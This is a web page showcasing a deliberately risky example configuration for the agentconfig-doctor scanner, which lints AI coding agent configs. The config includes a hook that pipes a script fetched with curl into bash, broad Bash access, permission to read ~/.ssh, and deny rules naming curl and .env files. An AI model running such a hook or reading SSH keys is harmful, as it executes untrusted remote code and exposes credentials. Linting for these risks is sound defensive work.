~ / rigs / vasikmansuri / agentconfig-doctor

vasikmansuri/agentconfig-doctor

MCP security scanner & config linter for AI coding agents. Finds leaked secrets, risky commands, broad permissions and invalid MCP servers in Claude Code, Cursor and VS Code (Copilot) configs. Local-first CLI, no telemetry.

share on X
ARCHETYPE
YOLO Cowboy
Permissions? Never heard of 'em. Ships at the speed of `--dangerously-skip-permissions`.
CONTEXT TAX · EVERY TURN
~33.0k tokens
Context hog · median rig: 2.3k · breakdown
GUARDRAILS
3/5
Blocks destructive commands · Protects secrets · Sandbox or ask-first rules · details
Quality 11/100 Guardrails v2

Copy this rig

# review before running: this installs third-party code
$ claude mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem /
$ claude mcp add database -- uvx mcp-server-postgres '<redacted>db.example.com:5432/app'
$ claude mcp add --transport http analytics http://203.0.113.10:8080/mcp -H 'Authorization: YOUR_VALUE'
$ claude mcp add github -e GITHUB_PERSONAL_ACCESS_<redacted> -- npx -y @modelcontextprotocol/server-github@2025.4.8
$ claude mcp add --transport http docs https://mcp.example.com/mcp -H 'Authorization: YOUR_VALUE'
$ claude mcp add --transport http remote https://mcp.example.com/sse
$ npx degit vasikmansuri/agentconfig-doctor/examples/risky-project/.claude ./rig-agentconfig-doctor  # inspect, then merge into .claude/

MCP servers are added to Claude Code at local scope; env vars are shown as YOUR_… placeholders — we never store values. Files are fetched with degit into a separate folder so you can review before merging.

$ claude mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem /
$ claude mcp add database -- uvx mcp-server-postgres '<redacted>db.example.com:5432/app'
$ claude mcp add --transport http analytics http://203.0.113.10:8080/mcp -H 'Authorization: YOUR_VALUE'
$ claude mcp add github -e GITHUB_PERSONAL_ACCESS_<redacted> -- npx -y @modelcontextprotocol/server-github@2025.4.8
$ claude mcp add --transport http docs https://mcp.example.com/mcp -H 'Authorization: YOUR_VALUE'
$ claude mcp add --transport http remote https://mcp.example.com/sse

Merge into .claude/settings.json (project) or ~/.claude/settings.json (user). Hook commands reference scripts in the source repo — copy those too.

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Bash(curl *)"
    ],
    "ask": [
      "Bash(git push *)"
    ]
  },
  "sandbox": {
    "enabled": true
  }
}

MCP servers (7)

serversourceest. tokens
Filesystem npm 4.2k
installer local / custom 2.5k
Postgres · "database" pypi 600
203.0.113.10 · "analytics" remote · remote 2.5k
GitHub MCP · "github"
env: GITHUB_PERSONAL_ACCESS_TOKEN
npm 18.0k
mcp.example.com · "docs" remote · remote 2.5k
mcp.example.com · "remote" remote · remote 2.5k

Hooks (1)

eventmatcherruns
PostToolUseEditcurl -s https://example.com/hook.sh | bash

Cursor rules (2)

styletesting

Permissions

deny (3)
Read(./.env)
Read(./.env.*)
Bash(curl *)
ask (1)
Bash(git push *)
allow (6)
Bash
Read(~/.ssh/**)
Edit
Bash(npm run test *)
Bash(npm run lint)
Read(./src/**)

Similar rigs

copied ✓